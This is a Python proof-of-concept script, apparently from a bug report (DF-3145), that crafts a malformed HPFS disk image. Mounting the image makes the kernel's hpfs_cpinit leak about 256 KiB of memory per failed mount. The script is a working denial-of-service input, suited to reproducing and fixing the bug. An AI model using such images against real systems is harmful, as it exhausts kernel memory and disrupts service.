DF-3145 / craft_hpfs_err.py
#!/usr/bin/env python3 """ DF-3145 -- hpfs image that reaches hpfs_cpinit (sys/vfs/hpfs/hpfs_subr.c) with sp_cpinum > 0 but sp_cpi pointing BEYOND the end of the device, so the first bread() at :283 fails and the function returns at :286 WITHOUT freeing hpm_cpdblk (kmalloc at :276) -- the caller (hpfs_mountfs -> hpfs_vfsops.c) only frees hpm_bitmap/hpm_bmind via hpfs_bmdeinit on later unmounts; a failed mount leaks cpicnt*sizeof(cpdblk) per attempt. cpicnt is sp_cpinum (uint16 at spblock+36): 0x4000 = 16384 -> 16384 * sizeof(struct cpdblk) per failed mount. struct cpdblk (hpfs_subr.c / hpfs.h) is 16 bytes -> 256 KiB leaked per failed mount, directly observable in vmstat -m (M_HPFSMNT). Same skeleton as the DF-3144 livelock image, with sp_cpi = 0x40000 (past the 0x10000-sector = 8 MiB image; sector lsn is used via dbtodoff -> byte offset 0x40000*512 = 128 MiB > image size -> bread error). usage: craft_hpfs_err.py <out.img> """ import struct, sys SECTOR = 512 IMGSEC = 0x10000 # 8 MiB image SU_MAGIC = 0xFA53E9C5F995E849 SP_MAGIC = 0xFA5229C5F9911849 SP_OFF_CPI, SP_OFF_CPINUM = 32, 36 def build(outpath): img = bytearray(IMGSEC * SECTOR) def wr32(o, v): struct.pack_into('<I', img, o, v & 0xFFFFFFFF) def wr64(o, v): struct.pack_into('<Q', img, o, v & 0xFFFFFFFFFFFFFFFF) def wr16(o, v): struct.pack_into('<H', img, o, v & 0xFFFF) def wr8(o, v): img[o] = v & 0xFF img[0] = 0xEB wr16(SECTOR - 2, 0xAA55) su = 0x10 * SECTOR wr64(su + 0, SU_MAGIC); wr8(su + 8, 2) wr32(su + 12, 0x20) wr32(su + 16, IMGSEC) wr32(su + 20, 0) wr32(su + 24, 0x30); wr32(su + 28, 0x30) sp = 0x11 * SECTOR wr64(sp + 0, SP_MAGIC) wr32(sp + SP_OFF_CPI, 0x40000) # sp_cpi far past EOF -> bread fails wr32(sp + SP_OFF_CPINUM, 0x4000) # 16384 code-page blocks = 256 KiB leak wr32(0x30 * SECTOR, 0x38) # bitmap pointer with open(outpath, 'wb') as f: f.write(img) print("wrote %s: sp_cpinum=0x4000 sp_cpi=0x40000 (bread fails @ :286, leak 256KiB/mount)" % outpath) if __name__ == '__main__': build(sys.argv[1]) |